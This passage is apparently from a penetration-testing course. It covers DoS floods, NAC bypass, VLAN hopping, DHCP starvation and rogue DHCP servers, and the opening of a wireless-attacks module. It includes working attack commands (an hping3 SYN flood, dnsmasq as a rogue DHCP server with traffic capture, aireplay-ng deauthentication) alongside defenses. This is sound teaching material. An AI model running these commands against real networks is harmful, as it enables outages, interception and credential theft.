&lt;p&gt;The SYN flood is the classic resource exhaustion DoS attack, exploiting the stateful nature of TCP connections. When a server receives a SYN packet (the first step of the TCP three-way handshake), it allocates memory for the half-open connection, responds with a SYN-ACK, and waits for the final ACK. This half-open connection remains in memory for typically 75 seconds.&lt;/p&gt;

&lt;p&gt;In a SYN flood, the attacker sends thousands of SYN packets per second with spoofed source IP addresses. The server allocates memory for each half-open connection and sends SYN-ACKs to the spoofed addresses (which never complete the handshake). The server's connection table fills completely, preventing legitimate connections from being established. The server appears unresponsive to legitimate users while the attack continues.&lt;/p&gt;

&lt;p&gt;SYN cookies are the primary defense: instead of allocating memory immediately on SYN receipt, the server encodes the connection parameters in the SYN-ACK's sequence number. Memory is only allocated when a valid ACK is received — one that includes the correct sequence number derived from the SYN cookie. This means the server only allocates state for connections that complete the handshake.&lt;/p&gt;

&lt;h3&gt;
  
  
  UDP Flood and Amplification Attacks
&lt;/h3&gt;

&lt;p&gt;UDP floods send massive volumes of UDP packets to random ports on the target, exhausting bandwidth and forcing the target to generate ICMP "port unreachable" responses for each received packet, further consuming resources.&lt;/p&gt;

&lt;p&gt;Amplification attacks use UDP protocols with asymmetric request/response ratios to amplify attack traffic. DNS amplification sends small DNS queries with the victim's spoofed source IP to open DNS resolvers, which return large responses to the victim. The amplification factor for DNS can be 50x-100x. NTP amplification using the monlist command (which returns the last 600 clients) achieves amplification factors over 500x. Memcached amplification achieved factors exceeding 50,000x in 2018 attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  DDoS — Distributed Denial of Service
&lt;/h3&gt;

&lt;p&gt;DDoS distributes the attack traffic across many sources simultaneously, typically a botnet of thousands to hundreds of thousands of compromised devices. This creates several challenges for defense: the total bandwidth can exceed any single upstream mitigation capability, traffic appears to come from legitimate IP addresses distributed globally, and blocking individual source IPs is ineffective.&lt;/p&gt;

&lt;p&gt;The Mirai botnet (2016) demonstrated the potential of IoT botnets — 600,000+ compromised cameras, DVRs, and routers generating 1.1 Tbps of traffic against Dyn DNS, taking down Twitter, Netflix, Reddit, and other major services. IoT devices are particularly vulnerable because they run embedded Linux with default credentials, are rarely updated, and are always online.&lt;/p&gt;

&lt;h3&gt;
  
  
  Application Layer DoS (Layer 7)
&lt;/h3&gt;

&lt;p&gt;Unlike volumetric attacks that flood with packets, Layer 7 DoS attacks send seemingly legitimate HTTP requests designed to consume disproportionate server resources. A single HTTP request for a complex search query, a large file download, or a computationally expensive API endpoint can consume far more resources than a simple request.&lt;/p&gt;

&lt;p&gt;Slowloris attacks establish many connections to a web server and send partial HTTP headers very slowly, keeping connections open without completing requests. The server's connection table fills with these "slow" connections, preventing legitimate connections. This attack requires very little bandwidth on the attacker's side.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.19 Practice — DoS and DDoS Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Lab-Safe DoS Testing
&lt;/h3&gt;

&lt;p&gt;DoS attacks must only ever be performed against systems you own or have explicit written permission to test. In a lab environment using VMs on an internal network, DoS testing is safe and educational.&lt;/p&gt;

&lt;p&gt;hping3 is the primary tool for crafting DoS test traffic: &lt;code&gt;hping3 -S --flood -V -p 80 &amp;lt;target_vm_ip&amp;gt;&lt;/code&gt; sends a SYN flood to port 80 of the target VM. The &lt;code&gt;--flood&lt;/code&gt; flag disables waiting for responses, the &lt;code&gt;-S&lt;/code&gt; flag sets the SYN bit, and &lt;code&gt;-V&lt;/code&gt; enables verbose output. Observe the target VM's resource usage in Task Manager (Windows) or &lt;code&gt;top&lt;/code&gt; (Linux) to see the impact.&lt;/p&gt;

&lt;p&gt;For SYN cookies testing: configure the target Linux VM with &lt;code&gt;sysctl net.ipv4.tcp_syncookies=1&lt;/code&gt; and repeat the hping3 flood — the target should remain responsive to legitimate connections.&lt;/p&gt;

&lt;h3&gt;
  
  
  Metasploit Auxiliary DoS Modules
&lt;/h3&gt;

&lt;p&gt;Metasploit includes numerous DoS modules for specific vulnerabilities — not volumetric attacks but protocol-specific conditions that crash specific software versions. These are appropriate for authorized penetration testing to demonstrate that a specific service version is vulnerable to a DoS condition: &lt;code&gt;use auxiliary/dos/tcp/synflood&lt;/code&gt;, set RHOST and RPORT, run.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.20 Network Access Control (NAC) Bypass
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is NAC?
&lt;/h3&gt;

&lt;p&gt;Network Access Control (NAC) is a security technology that enforces policy compliance before allowing devices to connect to a network. When a device connects to a NAC-protected network port, the switch holds the device in an isolated quarantine VLAN until the device proves it meets security requirements — typically running current antivirus, having current OS patches, and being an approved corporate asset.&lt;/p&gt;

&lt;p&gt;NAC implementations use 802.1X (Port-Based Network Access Control) as the authentication framework. 802.1X involves three components: the supplicant (the connecting device), the authenticator (the network switch), and the authentication server (typically RADIUS, which validates credentials against Active Directory or a certificate authority).&lt;/p&gt;

&lt;h3&gt;
  
  
  MAC Spoofing Bypass
&lt;/h3&gt;

&lt;p&gt;Some NAC implementations use MAC address filtering as a simpler alternative to full 802.1X — only allowing devices whose MAC addresses are in an approved list. MAC address spoofing trivially bypasses this: &lt;code&gt;ip link set eth0 address AA:BB:CC:DD:EE:FF&lt;/code&gt; changes the interface MAC address on Linux. By spoofing the MAC address of an approved device (discovered through network reconnaissance or physical access), an attacker can gain network access.&lt;/p&gt;

&lt;h3&gt;
  
  
  802.1X Bypass Techniques
&lt;/h3&gt;

&lt;p&gt;More sophisticated 802.1X bypass techniques exploit the gap between when a device connects and when authentication completes, or target the behavior of NAC implementations when a non-supplicant device (one that cannot respond to 802.1X authentication) is connected.&lt;/p&gt;

&lt;p&gt;Some organizations configure NAC to fall back to MAC authentication when a device does not respond to 802.1X challenges — intended to accommodate printers and IoT devices that cannot run supplicant software. An attacker can suppress 802.1X responses and rely on MAC authentication bypass instead.&lt;/p&gt;

&lt;p&gt;Placing an unauthorized device between an authorized 802.1X authenticated device and the switch allows the unauthorized device to access the authenticated session — some NAC implementations do not detect this "man in the middle" position between the switch and an authenticated endpoint.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.21 VLAN Hopping
&lt;/h2&gt;

&lt;h3&gt;
  
  
  VLAN Architecture
&lt;/h3&gt;

&lt;p&gt;VLANs (Virtual Local Area Networks) are a network segmentation mechanism that creates logical separation within a physical network infrastructure. Devices in VLAN 10 cannot communicate directly with devices in VLAN 20 without traffic passing through a router or Layer 3 switch — this is the fundamental security property VLANs are designed to provide. Organizations use VLANs to separate guest networks from corporate networks, segment finance from engineering, isolate IoT devices, and create the DMZ for internet-facing servers.&lt;/p&gt;

&lt;p&gt;VLAN tags are added to Ethernet frames using the 802.1Q protocol — a 4-byte header addition that includes the VLAN ID (12 bits, allowing VLANs 1-4094) and priority information. Trunk ports (connections between switches or between switches and routers) carry traffic from multiple VLANs simultaneously, with 802.1Q tags distinguishing which VLAN each frame belongs to. Access ports (connections to end devices) belong to a single VLAN and strip the 802.1Q tag before delivering frames to the device.&lt;/p&gt;

&lt;h3&gt;
  
  
  Switch Spoofing
&lt;/h3&gt;

&lt;p&gt;Switch spoofing is a VLAN hopping technique that exploits the Dynamic Trunking Protocol (DTP), a Cisco protocol that automatically negotiates trunk port establishment between switches. If a switch port is configured with DTP in "dynamic desirable" or "dynamic auto" mode, it will automatically become a trunk port if the connected device claims to be a switch and requests trunking.&lt;/p&gt;

&lt;p&gt;By sending DTP frames, an attacker's device can negotiate a trunk port with the switch. Once trunking is established, the attacker's device can send and receive frames tagged with any VLAN ID, effectively bypassing VLAN segmentation entirely.&lt;/p&gt;

&lt;p&gt;The defense is disabling DTP on all ports not intentionally used as trunks: &lt;code&gt;switchport nonegotiate&lt;/code&gt; and &lt;code&gt;switchport mode access&lt;/code&gt; on all access ports prevents DTP negotiation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Double Tagging
&lt;/h3&gt;

&lt;p&gt;Double tagging is a VLAN hopping technique that does not require DTP and works even against properly configured access ports, but only allows traffic injection into the target VLAN (not receipt of responses).&lt;/p&gt;

&lt;p&gt;The attack exploits how some switches handle 802.1Q frames. When a switch receives a frame on an access port in the native VLAN (the VLAN used for untagged traffic on trunk ports), it strips the VLAN tag. If an attacker sends a frame with two 802.1Q tags — an outer tag matching the native VLAN and an inner tag for the target VLAN — the first switch strips the outer tag and forwards the frame (now with only the inner tag) onto the trunk link. The next switch reads the inner tag and delivers the frame to the target VLAN.&lt;/p&gt;

&lt;p&gt;The defense is changing the native VLAN to an unused VLAN (not VLAN 1, which is the typical default) and explicitly tagging the native VLAN on all trunk ports.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.22 Practice — NAC Bypass and VLAN Hopping
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Practicing Switch Spoofing
&lt;/h3&gt;

&lt;p&gt;Practicing VLAN hopping in a lab environment requires a managed switch that supports 802.1Q and DTP, or GNS3/EVE-NG network simulation with Cisco IOS images. Physical switches are preferable for authenticity.&lt;/p&gt;

&lt;p&gt;Yersinia is a network attack tool that includes VLAN hopping capabilities via DTP exploitation: &lt;code&gt;yersinia -G&lt;/code&gt; opens the graphical interface, where DTP attacks can be launched against discovered switches. The tool also supports attacks against STP (Spanning Tree Protocol), CDP (Cisco Discovery Protocol), and DHCP.&lt;/p&gt;

&lt;h3&gt;
  
  
  Validating VLAN Segmentation
&lt;/h3&gt;

&lt;p&gt;From a security assessment perspective, VLAN segmentation testing involves attempting to reach hosts in different VLANs from a test position. If successful, a finding is raised indicating VLAN isolation is ineffective. If VLANs are properly configured and DTP is disabled, switch spoofing should fail — no trunk is established and traffic is confined to the access VLAN.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.23 DHCP Starvation Attacks and Rogue DHCP Servers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How DHCP Works
&lt;/h3&gt;

&lt;p&gt;DHCP (Dynamic Host Configuration Protocol) automates the assignment of IP addresses to devices joining a network. When a device connects, it broadcasts a DHCPDISCOVER message (since it has no IP address yet and cannot send a directed packet). DHCP servers on the segment respond with DHCPOFFER messages containing offered IP addresses and configuration parameters. The device selects an offer and broadcasts a DHCPREQUEST accepting it. The selected server responds with a DHCPACK confirming the lease.&lt;/p&gt;

&lt;p&gt;The configuration delivered by DHCP includes not just the IP address but also the subnet mask, default gateway, DNS server addresses, lease duration, and potentially other parameters. The DNS server and default gateway settings are particularly security-critical: a device accepts these without authentication and uses them for all subsequent network communication.&lt;/p&gt;

&lt;h3&gt;
  
  
  DHCP Starvation
&lt;/h3&gt;

&lt;p&gt;DHCP starvation exhausts a DHCP server's address pool by sending a flood of DHCPDISCOVER requests with spoofed MAC addresses. The DHCP server allocates an IP address for each request (since each appears to be a different device), quickly exhausting the available pool. New legitimate devices joining the network cannot obtain IP addresses — they fail to connect.&lt;/p&gt;

&lt;p&gt;Yersinia automates DHCP starvation: in the graphical interface, select DHCP and launch the "sending DISCOVER packet" attack. DHCPig is another tool specifically designed for DHCP starvation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Rogue DHCP Server Deployment
&lt;/h3&gt;

&lt;p&gt;The second phase of the DHCP attack, often following starvation of the legitimate server, is deploying a rogue DHCP server. The attacker runs their own DHCP server that responds to DHCPDISCOVER requests before the legitimate server can. Since the legitimate server's pool is exhausted (due to the preceding starvation attack, or because the attacker's responses are faster), clients accept the rogue server's offers.&lt;/p&gt;

&lt;p&gt;The rogue DHCP server assigns valid IP addresses (from the subnet range) but sets the default gateway to the attacker's machine's IP and the DNS server to the attacker's machine's IP. Every device that accepts this DHCP lease will route all internet traffic through the attacker (enabling on-path position) and resolve all DNS queries through the attacker (enabling DNS poisoning).&lt;/p&gt;

&lt;p&gt;Dnsmasq can function as a rogue DHCP server: configure /etc/dnsmasq.conf with the target subnet's DHCP range, set the router option to the attacker's IP, set the DNS option to the attacker's IP, and run &lt;code&gt;dnsmasq -d&lt;/code&gt;. Metasploit's &lt;code&gt;auxiliary/server/dhcp&lt;/code&gt; module provides another option.&lt;/p&gt;

&lt;h3&gt;
  
  
  DHCP Snooping as the Defense
&lt;/h3&gt;

&lt;p&gt;DHCP snooping is a switch security feature that designates specific ports as "trusted" (connected to legitimate DHCP servers) and all other ports as "untrusted." DHCP server messages (OFFER, ACK, NAK) received on untrusted ports are dropped. Client messages (DISCOVER, REQUEST) are logged and can be rate-limited to prevent starvation. Dynamic ARP Inspection (DAI) builds on DHCP snooping's binding table to validate ARP traffic, preventing ARP poisoning attacks against DHCP snooping-protected devices.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.1.24 Practice — DHCP Starvation and Rogue DHCP Servers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Lab Setup for DHCP Attack Practice
&lt;/h3&gt;

&lt;p&gt;A practical DHCP attack lab requires three components: a legitimate DHCP server (the router or a dedicated DHCP server VM), a Kali Linux attacker VM on the same network segment, and one or more victim VMs that will obtain DHCP leases.&lt;/p&gt;

&lt;p&gt;Configure all VMs on the same Internal Network or Host-Only network adapter in VirtualBox. The legitimate DHCP server can be a pfSense VM (a free, open-source router/firewall appliance) or a Linux VM running dnsmasq with DHCP enabled.&lt;/p&gt;

&lt;h3&gt;
  
  
  Executing the Attack
&lt;/h3&gt;

&lt;p&gt;Start Wireshark on Kali capturing the network interface — filter for DHCP traffic with the display filter &lt;code&gt;bootp&lt;/code&gt; (DHCP uses the BOOTP protocol). On a victim VM, release the current DHCP lease (Windows: &lt;code&gt;ipconfig /release&lt;/code&gt;, Linux: &lt;code&gt;dhclient -r&lt;/code&gt;) and observe the DHCPDISCOVER broadcast in Wireshark.&lt;/p&gt;

&lt;p&gt;Now on Kali, run the DHCP starvation attack with Yersinia for 30-60 seconds. Observe the DHCP server's address pool depleting in its configuration. Release the victim's lease again and request a new one — it should either fail (no addresses available) or potentially receive an offer from the rogue server if deployed.&lt;/p&gt;

&lt;p&gt;Deploy the rogue DHCP server on Kali and request a new DHCP lease on the victim. Observe in Wireshark which DHCP server's offer the victim accepts. If the rogue server's offer is accepted, confirm on the victim machine that the default gateway and DNS server are now set to the attacker's IP.&lt;/p&gt;

&lt;h3&gt;
  
  
  Observing the Impact
&lt;/h3&gt;

&lt;p&gt;With the on-path position established via rogue DHCP, enable IP forwarding on Kali (&lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/code&gt;), start Bettercap or Ettercap for traffic capture, and browse the web on the victim machine. Observe credentials and traffic appearing in Kali's capture. This demonstrates the complete attack chain from DHCP compromise to credential capture.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Module 5.1 has covered the complete landscape of network-based vulnerability exploitation, spanning from legacy protocol weaknesses in SMB and FTP to sophisticated Active Directory attacks like Kerberoasting, from Layer 2 ARP poisoning to BGP route manipulation, and from DoS flooding to surgical VLAN segmentation bypass.&lt;/p&gt;

&lt;p&gt;The unifying theme is that every attack exploits the gap between a protocol's design assumptions and the adversarial reality of modern networks. Windows name resolution was designed for convenience in trusted networks — attackers use it to capture credentials. Kerberos was designed to eliminate plaintext password transmission — attackers extract encrypted service tickets and crack them offline. DHCP was designed to simplify network configuration — attackers hijack it to redirect all client traffic.&lt;/p&gt;

&lt;p&gt;Effective defense against these attacks requires understanding them deeply enough to detect their signatures, configure controls that prevent their prerequisites, and build monitoring that identifies their behavioral patterns. Every detection rule, every Group Policy setting, and every network segmentation decision described in this module's defensive sections is directly derived from understanding the attack it prevents.&lt;/p&gt;

&lt;p&gt;The path from understanding these attacks in a lab to defending real networks runs through deliberate practice, careful documentation, and the habit of asking not just "how does this attack work" but "what assumption does this attack break, and how do I make that assumption safe?"&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;&lt;em&gt;— End of Module 5, Section 5.1 —&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  MODULE 5.2: Exploiting Wireless Vulnerabilities
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;5.2.1 Overview&lt;/li&gt;
&lt;li&gt;5.2.2 Rogue Access Points&lt;/li&gt;
&lt;li&gt;5.2.3 Evil Twin Attacks&lt;/li&gt;
&lt;li&gt;5.2.4 Disassociation (Deauthentication) Attacks&lt;/li&gt;
&lt;li&gt;5.2.5 Preferred Network List Attacks&lt;/li&gt;
&lt;li&gt;5.2.6 Wireless Signal Jamming and Interference&lt;/li&gt;
&lt;li&gt;5.2.7 War Driving&lt;/li&gt;
&lt;li&gt;5.2.8 Initialization Vector (IV) Attacks and Unsecured Wireless Protocols&lt;/li&gt;
&lt;li&gt;5.2.9 KARMA Attacks&lt;/li&gt;
&lt;li&gt;5.2.10 Fragmentation Attacks&lt;/li&gt;
&lt;li&gt;5.2.11 Practice - IV, Unsecured Wireless, KARMA, and Fragmentation Attacks&lt;/li&gt;
&lt;li&gt;5.2.12 Credential Harvesting&lt;/li&gt;
&lt;li&gt;5.2.13 Bluejacking and Bluesnarfing&lt;/li&gt;
&lt;li&gt;5.2.14 Bluetooth Low Energy (BLE) Attacks&lt;/li&gt;
&lt;li&gt;5.2.15 Radio-Frequency Identification (RFID) Attacks&lt;/li&gt;
&lt;li&gt;5.2.16 Password Spraying&lt;/li&gt;
&lt;li&gt;5.2.17 Exploit Chaining&lt;/li&gt;
&lt;li&gt;5.2.18 Practice - Wireless Attacks&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5.2.1 Overview
&lt;/h2&gt;

&lt;p&gt;Wireless networks are fundamentally different from wired networks in one critical way: the transmission medium is open air. When you send data over an Ethernet cable, that signal stays inside the cable — a physical boundary exists between your data and the outside world. When you send data over Wi-Fi, that signal travels in every direction simultaneously, passing through walls, floors, ceilings, and the exterior of your building into the parking lot, the street, and neighboring buildings.&lt;/p&gt;

&lt;p&gt;This physical characteristic — that radio waves do not respect property boundaries — is the single most important concept for understanding wireless security. Every attack in this module flows from this one reality. An attacker does not need physical access to your building. They do not need to plug into your network. They simply need to be within radio range, which for modern Wi-Fi can be hundreds of meters with a directional antenna.&lt;/p&gt;

&lt;p&gt;Think of a wired network like a telephone conversation in a soundproof room — you have to physically enter the room to eavesdrop. A wireless network is like having that same conversation in an open field — anyone within earshot can listen.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Radio Frequency Landscape
&lt;/h3&gt;

&lt;p&gt;Wi-Fi operates on specific radio frequency bands. The two primary bands are 2.4 GHz and 5 GHz, with 6 GHz being added for Wi-Fi 6E. These frequencies determine important physical characteristics that affect both usability and security.&lt;/p&gt;

&lt;p&gt;The 2.4 GHz band has better range and wall penetration — signals travel farther and pass through physical obstacles more easily. This makes 2.4 GHz networks easier to detect and target from a distance. The 5 GHz band has shorter range but higher data throughput. It does not penetrate obstacles as well, which actually provides a slight security benefit by limiting the physical area where the signal is accessible. However, a directional antenna can overcome this limitation.&lt;/p&gt;

&lt;p&gt;Within each band, channels divide the available frequency spectrum. In 2.4 GHz, channels 1-14 are available (varying by country), with channels 1, 6, and 11 being non-overlapping. An attacker scanning for networks can hop between channels to discover all active networks in the area.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wi-Fi Standards and Security Evolution
&lt;/h3&gt;

&lt;p&gt;Understanding the Wi-Fi standards timeline helps explain why certain attacks exist and which networks remain vulnerable.&lt;/p&gt;

&lt;p&gt;IEEE 802.11b (1999) introduced Wi-Fi at 2.4 GHz with speeds up to 11 Mbps. Security was WEP — now completely broken. IEEE 802.11g (2003) increased speeds to 54 Mbps, still primarily using WEP. IEEE 802.11n (2009) introduced MIMO antennas and speeds up to 600 Mbps with WPA2 becoming standard. IEEE 802.11ac (2013) focused on 5 GHz with gigabit speeds. IEEE 802.11ax (Wi-Fi 6, 2019) introduced OFDMA for better multi-device performance and WPA3 support.&lt;/p&gt;

&lt;p&gt;The security protocols — WEP, WPA, WPA2, WPA3 — are separate from the 802.11 standards but critical to the attack landscape. Each represents a generation of security that addressed the weaknesses of the previous generation, imperfectly.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.2 Rogue Access Points
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is a Rogue Access Point?
&lt;/h3&gt;

&lt;p&gt;A rogue access point is any wireless access point connected to a network without the authorization of the network administrator. The word "rogue" means unauthorized — it does not necessarily mean malicious, though it often is.&lt;/p&gt;

&lt;p&gt;Imagine a company employee who finds the wired connection at their desk inconvenient. They bring in a consumer Wi-Fi router from home, plug it into the walled Ethernet port, and start broadcasting their own wireless network. From their perspective this seems harmless. What they have actually done is punched a hole in the company's network perimeter. The IT department may have carefully configured the corporate wireless network with WPA2-Enterprise and 802.1X authentication, but this employee's personal router is broadcasting with the default password "admin" — or no password at all. Anyone within range can now connect to the corporate network through this unauthorized entry point, bypassing every security control the company has in place.&lt;/p&gt;

&lt;p&gt;This is the rogue access point threat in its accidental form. The deliberate form is far more dangerous: an attacker brings a rogue access point into or near a building, connects it to the network through a compromised Ethernet jack (perhaps in a conference room or reception area where public network access is available), and uses it as a persistent backdoor into the corporate network.&lt;/p&gt;

&lt;h3&gt;
  
  
  Physical Deployment Methods
&lt;/h3&gt;

&lt;p&gt;Rogue access points in targeted attacks can be deployed in several creative ways. A small device like a Raspberry Pi with a Wi-Fi adapter can be hidden inside a ceiling tile, under a desk, or inside a fake electrical outlet. These devices draw power from nearby sources and broadcast wirelessly while forwarding traffic through a wired connection. The attacker can access the device remotely — either through the network connection it creates or through a cellular modem — without ever returning to the physical location.&lt;/p&gt;

&lt;h3&gt;
  
  
  How the Exploitation Works
&lt;/h3&gt;

&lt;p&gt;Once a rogue AP is deployed and connected to the internal network, an attacker gains everything that a legitimate employee on that network would have: visibility of internal services, ability to communicate with internal systems, and a position from which to launch further attacks. Depending on network segmentation, this might be a restricted guest segment or it might be the full corporate network with access to file servers, databases, and internal applications.&lt;/p&gt;

&lt;p&gt;The rogue AP also provides wireless access to the internal network for the attacker or accomplices. If the rogue AP is broadcasting an open network or one with a known password, multiple attackers can connect wirelessly from outside the building without needing to repeat the physical access step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detection and Defense
&lt;/h3&gt;

&lt;p&gt;Organizations detect rogue access points through Wireless Intrusion Detection Systems (WIDS) that continuously scan the air for unauthorized transmissions. Modern enterprise wireless controllers from vendors like Cisco, Aruba, and Meraki include built-in rogue AP detection. When a wireless signal is detected that does not correspond to an authorized access point, the system raises an alert.&lt;/p&gt;

&lt;p&gt;802.1X port authentication on every wired port prevents unauthorized devices from connecting to the network — even if someone plugs in a rogue AP, it cannot communicate on the network without authenticating. Regular physical security audits and scanning of wired port utilization also help detect unauthorized devices.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.3 Evil Twin Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Concept
&lt;/h3&gt;

&lt;p&gt;An Evil Twin attack creates a fraudulent access point that mimics a legitimate one. The goal is to get victims to connect to the attacker's access point instead of the real one, placing the attacker in a man-in-the-middle position on all of that victim's wireless communications.&lt;/p&gt;

&lt;p&gt;The "Evil Twin" name comes from the idea that the fake network is the evil version of the legitimate twin — identical in appearance, but with malicious intent. Unlike a rogue access point (which connects to the real network), an Evil Twin intercepts traffic between the victim and the internet.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Evil Twin Attacks Work — Step by Step
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step one — Reconnaissance:&lt;/strong&gt; The attacker surveys the target environment, identifying the SSID (network name) and BSSID (the access point's MAC address) of the legitimate wireless network they want to impersonate. They also note the channel the legitimate network operates on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step two — Creating the Evil Twin:&lt;/strong&gt; The attacker configures their own wireless hardware to broadcast on the same SSID as the legitimate network. Critically, the attacker typically broadcasts at higher power than the legitimate access point, so victims receive a stronger signal from the fake network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step three — Forcing disconnection:&lt;/strong&gt; To ensure victims connect to the Evil Twin rather than the legitimate network, the attacker typically launches a deauthentication attack against the legitimate access point. This forcibly disconnects clients. When clients try to reconnect, they see the familiar network name and connect to whichever access point has the strongest signal — often the attacker's Evil Twin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step four — Credential capture:&lt;/strong&gt; When a victim connects to the Evil Twin, they may be presented with a captive portal — a web page that asks for the Wi-Fi password "to complete connection." Many users enter their password without suspicion, directly giving it to the attacker. Even without a captive portal, all unencrypted traffic (HTTP) from the connected victim passes through the attacker's device and can be read and logged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step five — Proxying:&lt;/strong&gt; The attacker's device forwards the victim's traffic to the real internet (through a cellular connection or another wireless connection), so the victim's browsing appears to work normally. The victim has no indication they are being intercepted.&lt;/p&gt;

&lt;h3&gt;
  
  
  WPA-Enterprise Evil Twin — A Special Threat
&lt;/h3&gt;

&lt;p&gt;When targeting networks using WPA-Enterprise (802.1X authentication with RADIUS), the Evil Twin attack is particularly powerful. These networks use credentials (username and password) rather than a pre-shared key. When a victim's device connects to the Evil Twin and their operating system automatically attempts authentication using their saved credentials, the Evil Twin's hostapd-wpe captures the NTLM hash of their Active Directory credentials. These hashes can be cracked offline to reveal the plaintext password, granting domain access.&lt;/p&gt;

&lt;p&gt;This is especially dangerous because employees' devices are configured to automatically connect to the corporate wireless network. When the Evil Twin broadcasts the same SSID, the device connects automatically — without any user interaction — and attempts authentication, leaking credential hashes without the user ever knowing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools
&lt;/h3&gt;

&lt;p&gt;hostapd-wpe is a modified version of hostapd designed for Evil Twin attacks with built-in support for capturing WPA-Enterprise credentials. Airbase-ng from the Aircrack-ng suite creates a software access point from any wireless card capable of injection mode. Wifiphisher is a specialized tool that automates the entire Evil Twin attack process, including deauthentication, fake AP creation, and a library of realistic-looking captive portal pages.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.4 Disassociation (Deauthentication) Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Understanding 802.11 Management Frames
&lt;/h3&gt;

&lt;p&gt;To understand why deauthentication attacks work, you need to understand how Wi-Fi connections are managed at the protocol level. The 802.11 standard defines three types of frames: data frames (carrying actual data), control frames (managing channel access), and management frames (handling connection establishment and maintenance).&lt;/p&gt;

&lt;p&gt;Management frames include beacons (access points periodically announcing their existence), authentication frames (establishing a connection), and deauthentication/disassociation frames (terminating a connection).&lt;/p&gt;

&lt;p&gt;The critical security flaw in 802.11 before the 802.11w amendment: management frames were not authenticated. Any device could send a management frame claiming to be from any source. In particular, any device could send a deauthentication frame claiming to be from a legitimate access point, telling a client to disconnect — and the client would obey without verifying the frame's authenticity.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Mechanism
&lt;/h3&gt;

&lt;p&gt;A deauthentication attack exploits this lack of frame authentication. The attacker sends forged deauthentication frames to clients, spoofing the source MAC address to appear as if the frames come from the legitimate access point. The clients receive these frames and interpret them as legitimate instructions from the AP to disconnect. They obediently terminate their connections.&lt;/p&gt;

&lt;p&gt;The attacker can target a specific client (by using their MAC address as the destination) or broadcast deauthentication frames targeting all clients simultaneously (using the broadcast MAC address FF:FF:FF:FF:FF:FF as the destination).&lt;/p&gt;

&lt;p&gt;The attack is trivially easy to execute with freely available tools and requires only a wireless adapter capable of packet injection. It requires no authentication credentials and no prior access to the network.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Attackers Use Deauthentication
&lt;/h3&gt;

&lt;p&gt;Deauthentication attacks serve as enablers for other attacks rather than being damaging in themselves. The primary uses are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Forcing WPA2 handshake capture:&lt;/strong&gt; When clients reconnect after being deauthenticated, they perform the four-way handshake, which the attacker captures for offline cracking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Creating pressure that drives victims to Evil Twin:&lt;/strong&gt; As described in 5.2.3, continuous deauthentication from the real AP drives clients to connect to the stronger-signal Evil Twin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Denial of service:&lt;/strong&gt; Continuously deauthenticating clients makes the wireless network unusable — useful as a distraction or competitive sabotage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools and Technique
&lt;/h3&gt;

&lt;p&gt;Aireplay-ng from the Aircrack-ng suite performs deauthentication attacks: &lt;code&gt;aireplay-ng --deauth 0 -a [AP_BSSID] -c [client_MAC] wlan0mon&lt;/code&gt;. The &lt;code&gt;--deauth 0&lt;/code&gt; sends a continuous stream of deauth frames, &lt;code&gt;-a&lt;/code&gt; specifies the access point's BSSID to spoof, and &lt;code&gt;-c&lt;/code&gt; specifies the target client. MDK3 and MDK4 are alternative tools for more sophisticated denial-of-service scenarios.&lt;/p&gt;

&lt;h3&gt;
  
  
  802.11w — The Defense
&lt;/h3&gt;

&lt;p&gt;IEEE 802.11w (Management Frame Protection) addresses the lack of management frame authentication by cryptographically protecting management frames including deauthentication and disassociation frames. When MFP is enabled, a client that receives a deauthentication frame can verify its authenticity. Forged deauth frames from an attacker who does not possess the network keys will fail verification and be ignored.&lt;/p&gt;

&lt;p&gt;WPA3 mandates management frame protection, making deauthentication attacks ineffective against WPA3 networks.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.5 Preferred Network List Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is the Preferred Network List?
&lt;/h3&gt;

&lt;p&gt;Every wireless device maintains a list of networks it has connected to in the past. On Windows it is called Preferred Networks, on Android Saved Networks, on iOS the list of known Wi-Fi networks. The common technical term is PNL (Preferred Network List).&lt;/p&gt;

